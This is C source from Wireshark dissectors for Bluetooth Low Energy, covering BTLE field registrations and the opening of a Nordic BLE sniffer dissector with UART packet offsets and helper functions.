{ &hf_btle_randomized_rx,
{ "RX Address", "btle.rx_addr_flag",
// FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0,
FT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0,
NULL, HFILL }
},
{ &hf_btle_length,
{ "Length", "btle.length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_addr,
{ "Advertising Address", "btle.adv_addr",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_init_addr,
{ "Init Address", "btle.init_addr",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_scan_addr,
{ "Scan Address", "btle.scan_addr",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data,
{ "Advertising Data", "btle.adv_data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_scan_rsp_data,
{ "Scan Response Data", "btle.scan_rsp_data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
// connection packet fields
{ &hf_btle_connect,
{ "Connection Request", "btle.connect",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_connect_aa,
{ "Connection Access Address", "btle.connect.aa",
FT_UINT32, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_crc_init,
{ "CRC Init", "btle.connect.crc_init",
FT_UINT24, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_win_size,
{ "Window Size (ms)", "btle.connect.win_size",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_win_offset,
{ "Window Offset (ms)", "btle.connect.win_offset",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_interval,
{ "Interval (ms)", "btle.connect.interval",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_min_interval,
{ "Minimum interval (ms)", "btle.connect.min_interval",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_max_interval,
{ "Maximum interval (ms)", "btle.connect.max_interval",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_latency,
{ "Latency", "btle.connect.latency",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_timeout,
{ "Timeout (ms)", "btle.connect.timeout",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_hop_interval,
{ "Hop interval", "btle.connect.hop_interval",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_sleep_clock_accuracy,
{ "Sleep Clock Accuracy", "btle.connect.sca",
FT_UINT8, BASE_DEC, VALS(sleep_clock_accuracy_values), 0x0,
NULL, HFILL }
},
// data header
{ &hf_btle_data,
{ "Data PDU Header", "btle.data",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_data_llid,
{ "LLID", "btle.data.llid",
FT_UINT8, BASE_DEC, VALS(llid_codes), 0x3,
NULL, HFILL }
},
{ &hf_btle_data_nesn,
{ "NESN", "btle.data.nesn",
FT_UINT8, BASE_DEC, NULL, 0x4,
"Next Expected Sequence Number", HFILL }
},
{ &hf_btle_data_sn,
{ "SN", "btle.data.sn",
FT_UINT8, BASE_DEC, NULL, 0x8,
"Sequence Number", HFILL }
},
{ &hf_btle_data_md,
{ "MD", "btle.data.md",
FT_UINT8, BASE_DEC, NULL, 0x10,
"More Data", HFILL }
},
{ &hf_btle_data_rfu,
{ "RFU", "btle.data.rfu",
FT_UINT8, BASE_DEC, NULL, 0xe0,
"Reserved for Future Use (must be zero)", HFILL }
},
{ &hf_btle_ll_control,
{ "LL Control PDU", "btle.ll_control",
FT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_opcode,
{ "LL Control Opcode", "btle.ll_control_opcode",
FT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_data,
{ "LL Control Data", "btle.ll_control_data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_ll_enc_req,
{ "Encryption Request", "btle.ll_enc_req",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_ll_enc_req_rand,
{ "Rand", "btle.ll_enc_req.rand",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_ll_enc_req_ediv,
{ "EDIV", "btle.ll_enc_req.ediv",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Encrypted Diversifier", HFILL }
},
{ &hf_btle_ll_control_ll_enc_req_skdm,
{ "SKDm", "btle.ll_enc_req.skdm",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Master's Session Key Identifier", HFILL }
},
{ &hf_btle_ll_control_ll_enc_req_ivm,
{ "IVm", "btle.ll_enc_req.ivm",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Master's Initialization Vector", HFILL }
},
{ &hf_btle_ll_control_ll_enc_rsp,
{ "Encryption Response", "btle.ll_enc_rsp",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_ll_control_ll_enc_rsp_skds,
{ "SKDs", "btle.ll_enc_rsp.skds",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Slave's Session Key Identifier", HFILL }
},
{ &hf_btle_ll_control_ll_enc_rsp_ivs,
{ "IVs", "btle.ll_enc_rsp.ivs",
FT_BYTES, BASE_NONE, NULL, 0x0,
"Slave's Initialization Vector", HFILL }
},
{ &hf_btle_crc,
{ "CRC", "btle.crc",
FT_UINT24, BASE_HEX, NULL, 0x0,
"Cyclic Redundancy Check", HFILL }
},
{ &hf_btle_instant,
{ "Instant field", "btle.instant",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_channel_map,
{ "Channel map", "btle.map",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_enabled_channels,
{ "Enabled channels", "btle.enabled_channels",
FT_STRINGZ, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_error_code,
{ "Error code", "btle.error",
FT_UINT8, BASE_HEX, VALS(error_codes), 0x0,
NULL, HFILL }
},
{ &hf_btle_unknown_type,
{ "Unknown type", "btle.unknown_type",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_feature_set,
{ "Feature set", "btle.feature_set",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_supported_feature,
{ "Supported feature", "btle.supported_feature",
FT_UINT8, BASE_DEC, VALS(le_features), 0x0,
NULL, HFILL }
},
{ &hf_btle_unsupported_feature,
{ "Unsupported feature", "btle.unsupported_feature",
FT_UINT8, BASE_DEC, VALS(le_features), 0x0,
NULL, HFILL }
},
{ &hf_btle_bt_version,
{ "Bletooth version", "btle.bluetooth_version",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_company_id,
{ "Company ID", "btle.company_id",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_sub_version_num,
{ "Sub-version number", "btle.sub_version_num",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attr,
{ "Attribute", "btle.adv_data.attr",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attr_type,
{ "type", "btle.adv_data.attr.type",
FT_UINT8, BASE_HEX, VALS(adv_data_attr_types), 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attr_length,
{ "length", "btle.adv_data.attr.length",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attr_value,
{ "value (hex)", "btle.adv_data.attr.value",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attr_value_string,
{ "value (ASCII)", "btle.adv_data.attr.value_string",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_flags],
{"flags", "btle.adv_data.flags",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_16b_uuids],
{"16 bit uuids (incomplete)", "btle.adv_data.inc_16b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_16b_uuids],
{"16 bit uuids (complete)", "btle.adv_data.com_16b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_32b_uuids],
{"32 bit uuids (incomplete)", "btle.adv_data.inc_32b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_32b_uuids],
{"32 bit uuids (complete)", "btle.adv_data.com_32b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_128b_uuids],
{"128 bit uuids (incomplete)", "btle.adv_data.inc_128b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_128b_uuids],
{"128 bit uuids (complete)", "btle.adv_data.com_128b_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btle_128b_uuid,
{"128 bit uuid", "btle.128b_uuid",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_32b_uuid,
{"32 bit uuid", "btle.32b_uuid",
FT_UINT32, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_16b_uuid,
{"16 bit uuid", "btle.16b_uuid",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_short_local_name],
{"local name (short)", "btle.adv_data.short_local_name",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_local_name],
{"local name", "btle.adv_data.complete_local_name",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_tx_power],
{"TX power level", "btle.adv_data.tx_power",
FT_INT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_class],
{"device class", "btle.adv_data.device_class",
FT_UINT24, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_hash_c],
{"simple hash", "btle.adv_data.simple_hash",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_rand_r],
{"simple randomizer", "btle.adv_data.simple_randomizer",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_id],
{"TK value", "btle.adv_data.tk_value",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_sec_man_oob_flags],
{"OOB flags", "btle.adv_data.oob_flags",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_conn_int_range],
{"conn interval range", "btle.adv_data.conn_interval_range",
FT_UINT32, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_16b_service_uuids],
{"16 b service uuids", "btle.adv_data.16b_service_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_128b_service_uuids],
{"128 b service uuids", "btle.adv_data.128b_service_uuids",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data],
{"service data", "btle.adv_data.service_data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_32b],
{"service data for 32 bit UUID.", "btle.adv_data.service_data_32b",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_128b],
{"service data for 128 bit UUID", "btle.adv_data.service_data_128b",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_service_data_value,
{"service data value", "btle.adv_data.service_data.value",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pub_target_addr],
{"public target address", "btle.adv_data.public_target_address",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_rand_target_addr],
{"random target address", "btle.adv_data.random_target_address",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_appearance],
{"appearance", "btle.adv_data.appearance",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_adv_int],
{"advertising interval", "btle.adv_data.advertising_interval",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_adv_int_ms,
{"advertising interval (ms)", "btle.adv_data.advertising_interval_ms",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_manufacturer,
{"manufacturer specific data", "btle.adv_data.manufacturer_data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_unknown,
{"Unknown advertising data attribute", "btle.adv_data.unknown",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_flag_le_limited_discoverable,
{"LE limited discoverable", "btle.adv_data.flag.le_limited_discoverable",
FT_BOOLEAN, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_flag_le_general_discoverable,
{"LE general discoverable", "btle.adv_data.flag.le_general_discoverable",
FT_BOOLEAN, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_flag_br_edr_not_supported,
{"BR/EDR not supported", "btle.adv_data.flag.br_edr_not_supported",
FT_BOOLEAN, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_adv_data_flag_simultaneous_le_br_edr_controller,
{"Simultaneous LE and BR/EDR (Controller)", "btle.adv_data.flag.simultaneous_le_br_edr_controller",
FT_BOOLEAN, BASE_NONE, NULL, 0x0,
"Simultaneous LE and BR/EDR to Same Device Capable (Controller)", HFILL }
},
{ &hf_btle_adv_data_flag_simultaneous_le_br_edr_host,
{"Simultaneous LE and BR/EDR (Host)", "btle.adv_data.flag.simultaneous_le_br_edr_host",
FT_BOOLEAN, BASE_NONE, NULL, 0x0,
"Simultaneous LE and BR/EDR to Same Device Capable (Host)", HFILL }
}
// #endif
};
/* protocol subtree arrays */
static gint *ett[] = {
&ett_btle,
&ett_btle_pkthdr,
&ett_btle_connect,
&ett_btle_data,
&ett_ll_enc_req,
&ett_ll_enc_rsp,
&ett_ll_control,
&ett_ll_control_data,
&ett_feature_set,
&ett_channel_map,
&ett_adv_data,
&ett_adv_data_attr,
&ett_adv_data_flags,
&ett_uuids
};
// static ei_register_info ei[] = {
// { &ei_btle_packet_too_short, { "btle.length.short", PI_MALFORMED, PI_ERROR, "Packet buffer is too short or reported length is too long.", EXPFILL }},
// { &ei_btle_packet_too_long, { "btle.length.long", PI_MALFORMED, PI_ERROR, "Packet buffer is too long or reported length is too short.", EXPFILL }},
// };
//expert_module_t* expert_ip;
/* register the protocol name and description */
proto_btle = proto_register_protocol(
"Bluetooth Low Energy", /* full name */
"BTLE", /* short name */
"btle" /* abbreviation (e.g. for filters) */
);
register_dissector("btle", dissect_btle, proto_btle);
//expert_ip = expert_register_protocol(proto_btle);
//expert_register_field_array(expert_ip, ei, array_length(ei));
/* register the header fields and subtrees used */
proto_register_field_array(proto_btle, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
}
void
proto_reg_handoff_btle(void)
{
static gboolean inited = FALSE;
if (!inited) {
// dissector_handle_t btle_handle;
// btle_handle = new_create_dissector_handle(dissect_btle, proto_btle);
// dissector_add("ppi.dlt", 147, btle_handle);
btl2cap_handle = find_dissector("btl2cap");
inited = TRUE;
}
}
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-nordic_ble.c
================================================
/* packet-nordic_ble.c
* Routines for nordic ble sniffer dissection
* Copyright 201x, YOUR_NAME
* Nordic Semiconductor
*
*
* $Id$
*
* Wireshark - Network traffic analyzer
* By Gerald Combs
* Copyright 1998 Gerald Combs
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include "config.h"
#include
#include
#include
#include
#include
/* definition to expand macro then apply to pragma message */
#define VALUE_TO_STRING(x) #x
#define VALUE(x) VALUE_TO_STRING(x)
#define VAR_NAME_VALUE(var) #var " =" VALUE(var)
#pragma message(VAR_NAME_VALUE(VERSION_MAJOR))
// #pragma message(VERSION_MAJOR)
#pragma message(VAR_NAME_VALUE(VERSION_MINOR))
// #pragma message(VERSION_MINOR)
#define IS_VERSION_1_10 (VERSION_MAJOR == 1 && VERSION_MINOR == 10)
#define IS_VERSION_1_11 (VERSION_MAJOR == 1 && VERSION_MINOR == 11)
/* Size of various UART Packet header fields */
#define BEEF_LENGTH_BYTES (2)
#define HEADER_LEN_LENGTH_BYTES (1)
#define PACKET_LEN_LENGTH_BYTES (1)
#define PROTOVER_LENGTH_BYTES (1)
#define COUNTER_LENGTH_BYTES (2)
#define ID_LENGTH_BYTES (1)
#define BLE_HEADER_LEN_LENGTH_BYTES (1)
#define FLAGS_LENGTH_BYTES (1)
#define CHANNEL_LENGTH_BYTES (1)
#define RSSI_LENGTH_BYTES (1)
#define EVENT_COUNTER_LENGTH_BYTES (2)
#define TIMESTAMP_LENGTH_BYTES (4)
#define BOARD_ID_INDEX (0)
#define BOARD_ID_LENGTH (1)
/* Define the index of the various fields in the UART_PACKET header */
#define UART_PACKET_HEADER_LEN_INDEX (0)
#define UART_PACKET_PACKET_LEN_INDEX (UART_PACKET_HEADER_LEN_INDEX + HEADER_LEN_LENGTH_BYTES)
#define UART_PACKET_PROTOVER_INDEX (UART_PACKET_PACKET_LEN_INDEX + PACKET_LEN_LENGTH_BYTES)
#define UART_PACKET_COUNTER_INDEX (UART_PACKET_PROTOVER_INDEX + PROTOVER_LENGTH_BYTES)
#define UART_PACKET_ID_INDEX (UART_PACKET_COUNTER_INDEX + COUNTER_LENGTH_BYTES)
#define UART_PACKET_BLE_HEADER_LEN_INDEX (UART_PACKET_ID_INDEX + ID_LENGTH_BYTES)
#define UART_PACKET_FLAGS_INDEX (UART_PACKET_BLE_HEADER_LEN_INDEX + BLE_HEADER_LEN_LENGTH_BYTES)
#define UART_PACKET_CHANNEL_INDEX (UART_PACKET_FLAGS_INDEX + FLAGS_LENGTH_BYTES)
#define UART_PACKET_RSSI_INDEX (UART_PACKET_CHANNEL_INDEX + CHANNEL_LENGTH_BYTES)
#define UART_PACKET_EVENT_COUNTER_INDEX (UART_PACKET_RSSI_INDEX + RSSI_LENGTH_BYTES)
#define UART_PACKET_TIMESTAMP_INDEX (UART_PACKET_EVENT_COUNTER_INDEX + EVENT_COUNTER_LENGTH_BYTES)
#define UART_PACKET_ACCESS_ADDRESS_INDEX (UART_PACKET_TIMESTAMP_INDEX + TIMESTAMP_LENGTH_BYTES)
#define INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET (5)
#define INDEX_OF_LENGTH_FIELD_IN_EVENT_PACKET (UART_PACKET_TIMESTAMP_INDEX + TIMESTAMP_LENGTH_BYTES + INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET)
#define UART_HEADER_LEN (6)
#define BLE_HEADER_LEN (10)
#define PROTOVER (1)
#define US_PER_BYTE (8)
#define NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH (10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) = 10 Bytes
#define BLE_METADATA_TRANFER_TIME_US (US_PER_BYTE * NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)
#define UART_HEADER_LENGTH (UART_PACKET_ACCESS_ADDRESS_INDEX)
#define BLE_MIN_PACKET_LENGTH (NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)
#define BLE_MAX_PACKET_LENGTH (50)
#define MIN_TOTAL_LENGTH (BLE_HEADER_LEN + BLE_MIN_PACKET_LENGTH)
#define MAX_TOTAL_LENGTH (UART_HEADER_LENGTH + BLE_MAX_PACKET_LENGTH)
#define BLE_LENGTH_POS (UART_HEADER_LENGTH + 5)
/*
* LEGACY DEFINES
* Defines used in the 0.9.7 version of the dissector
* Used to dissect packages with the old format
*/
#define _0_9_7_nordic_ble_MIN_LENGTH (8)
#define _0_9_7_UART_HEADER_LENGTH (17)
#define _0_9_7_BLE_EMPTY_PACKET_LENGTH (9)
#define _0_9_7_BLE_MAX_PACKET_LENGTH (50)
#define _0_9_7_MIN_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_EMPTY_PACKET_LENGTH)
#define _0_9_7_MAX_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_MAX_PACKET_LENGTH)
#define _0_9_7_BLE_LENGTH_POS (_0_9_7_UART_HEADER_LENGTH + 5)
#define _0_9_7_ID_POS (2)
#define _0_9_7_PACKET_COUNTER_POS (3)
#define _0_9_7_LENGTH_POS (7)
#define _0_9_7_FLAGS_POS (8)
#define _0_9_7_CHANNEL_POS (9)
#define _0_9_7_RSSI_POS (10)
#define _0_9_7_EVENT_COUNTER_POS (11)
#define _0_9_7_TIMESTAMP_POS (13)
#define _0_9_7_US_PER_BYTE (8)
#define _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH (10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) = 10 Bytes
#define _0_9_7_BLE_METADATA_TRANFER_TIME_US (_0_9_7_US_PER_BYTE * _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)
/* Forward declaration that is needed below if using the
* proto_reg_handoff_nordic_ble function as a callback for when protocol
* preferences get changed. */
void proto_reg_handoff_nordic_ble(void);
/* Initialize the protocol and registered fields */
static int proto_nordic_ble = -1;
// static int hf_nordic_ble_FIELDABBREV = -1;
/* Global sample preference ("controls" display of numbers) */
// static gboolean gPREF_HEX = FALSE;
/* Global sample port preference - real port preferences should generally
* default to 0 unless there is an IANA-registered (or equivalent) port for your
* protocol. */
static guint udp_port = 32954;
static guint user_dlt_num = 55; // corresponds to pcap network type value 157, user type 10.
static gboolean legacy_mode = FALSE;
#ifndef TRANSPARENT
/* Initialize the subtree pointers */
static gint ett_nordic_ble = -1;
static gint ett_flags = -1;
/* Declared static as they need to be transferred between mode handlers and main dissector */
static gboolean bad_length, bad_mic;
static int hf_nordic_ble_board_id = -1;
static int hf_nordic_ble_header_length = -1;
static int hf_nordic_ble_payload_length = -1;
static int hf_nordic_ble_protocol_version = -1;
static int hf_nordic_ble_packet_counter = -1;
static int hf_nordic_ble_id = -1;
static int hf_nordic_ble_ble_header_length = -1;
static int hf_nordic_ble_flags = -1;
static int hf_nordic_ble_crcok = -1;
static int hf_nordic_ble_encrypted = -1;
static int hf_nordic_ble_micok = -1;
static int hf_nordic_ble_direction = -1;
static int hf_nordic_ble_channel = -1;
static int hf_nordic_ble_rssi = -1;
static int hf_nordic_ble_event_counter = -1;
static int hf_nordic_ble_delta_time = -1;
static int hf_nordic_ble_delta_time_ss = -1;
/* subtree pointers specific to 0.9.7 version */
static int hf_nordic_ble_length = -1;
static int hf_nordic_ble_sync_word = -1;
static int hf_nordic_ble_payload = -1;
#if IS_VERSION_1_11
static expert_field ei_nordic_ble_bad_crc = EI_INIT;
static expert_field ei_nordic_ble_bad_mic = EI_INIT;
static expert_field ei_nordic_ble_bad_length = EI_INIT;
#endif
static guint8 src_addr_to_use[6] = {0,0,0,0,0,0};
static guint8 src_addr_zero[6] = {0,0,0,0,0,0};
static const true_false_string direction_tfs =
{
"Master -> Slave",
"Slave -> Master"
};
static const true_false_string crc_tfs =
{
"OK",
"Incorrect"
};
static const true_false_string encrypted_tfs =
{
"Yes",
"No"
};
static const true_false_string mic_tfs =
{
"OK",
"Incorrect"
};
#endif
/* functions hiding versioning in dissectors */
static guint8
get_id_index(void)
{
return (legacy_mode ? _0_9_7_ID_POS : UART_PACKET_ID_INDEX);
}
static guint8
get_pc_index(void)
{
return (legacy_mode ? _0_9_7_PACKET_COUNTER_POS : UART_PACKET_COUNTER_INDEX);
}
static guint8
get_flags_index(void)
{
return (legacy_mode ? _0_9_7_FLAGS_POS : UART_PACKET_FLAGS_INDEX);
}
static guint8
get_ch_index(void)
{
return (legacy_mode ? _0_9_7_CHANNEL_POS : UART_PACKET_CHANNEL_INDEX);
}
static guint8
get_rssi_index(void)
{
return (legacy_mode ? _0_9_7_RSSI_POS : UART_PACKET_RSSI_INDEX);
}
static guint8
get_ec_index(void)
{
return (legacy_mode ? _0_9_7_EVENT_COUNTER_POS : UART_PACKET_EVENT_COUNTER_INDEX);
}
static guint8
get_td_index(void)
{
return (legacy_mode ? _0_9_7_TIMESTAMP_POS : UART_PACKET_TIMESTAMP_INDEX);
}
static guint8
get_header_length(void)
{
return (legacy_mode ? _0_9_7_UART_HEADER_LENGTH : UART_HEADER_LENGTH);
}
static guint8
get_packet_length_index(void)
{
return (legacy_mode ? _0_9_7_LENGTH_POS : UART_PACKET_PACKET_LEN_INDEX);
}
static guint8
get_total_len_min(void)
{
return (legacy_mode ? _0_9_7_MIN_TOTAL_LENGTH : MIN_TOTAL_LENGTH);
}
static guint8
get_total_len_max(void)
{
return (legacy_mode ? _0_9_7_MAX_TOTAL_LENGTH : MAX_TOTAL_LENGTH);
}
static guint8
get_metadata_transfer_time(void)
{
return (legacy_mode ? _0_9_7_BLE_METADATA_TRANFER_TIME_US : BLE_METADATA_TRANFER_TIME_US);
}
static guint8
get_us_per_byte(void)
{
return (legacy_mode ? _0_9_7_US_PER_BYTE : US_PER_BYTE);
}
static guint32 adv_aa = 0x8e89bed6;
/* next dissector */
static dissector_handle_t btle_dissector_handle = NULL;
static dissector_handle_t debug_handle = NULL;
static gboolean
array_equal(const void* buf1, const void* buf2, int len)
{
gboolean return_value = FALSE;
int i;
for (i = 0; i < len; i++)
{
if (((guint8*)buf1)[i] == ((guint8*)buf2)[i])
{
return_value = TRUE;
}
}
return return_value;
}
static void array_copy(void* dst, const void* src, int len)
{
int i;
for (i = 0; i < len; i++)
{
((guint8*)dst)[i] = ((guint8*)src)[i];
}
}
static tvbuff_t *
dissect_board_id_and_strip_it_from_tvb(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_tree_add_item(tree, hf_nordic_ble_board_id, tvb, BOARD_ID_INDEX, BOARD_ID_LENGTH, ENC_BIG_ENDIAN);
return tvb_new_subset(tvb, BOARD_ID_LENGTH, -1, -1);
}
static gboolean
dissect_lengths(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
guint8 hlen, plen;
proto_item* item;
gboolean bad_length = FALSE;
if (legacy_mode)
{
hlen = tvb_get_guint8(tvb, _0_9_7_LENGTH_POS);
plen = _0_9_7_nordic_ble_MIN_LENGTH;
}
else
{
hlen = tvb_get_guint8(tvb, UART_PACKET_HEADER_LEN_INDEX);
plen = tvb_get_guint8(tvb, UART_PACKET_PACKET_LEN_INDEX);
}
if ((hlen + plen) != tvb_length(tvb))
{
if (!legacy_mode)
{
proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);
}
item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);
#if IS_VERSION_1_11
expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);
#elif IS_VERSION_1_10
expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, "UART packet lengths do not match actual packet length.");
#endif
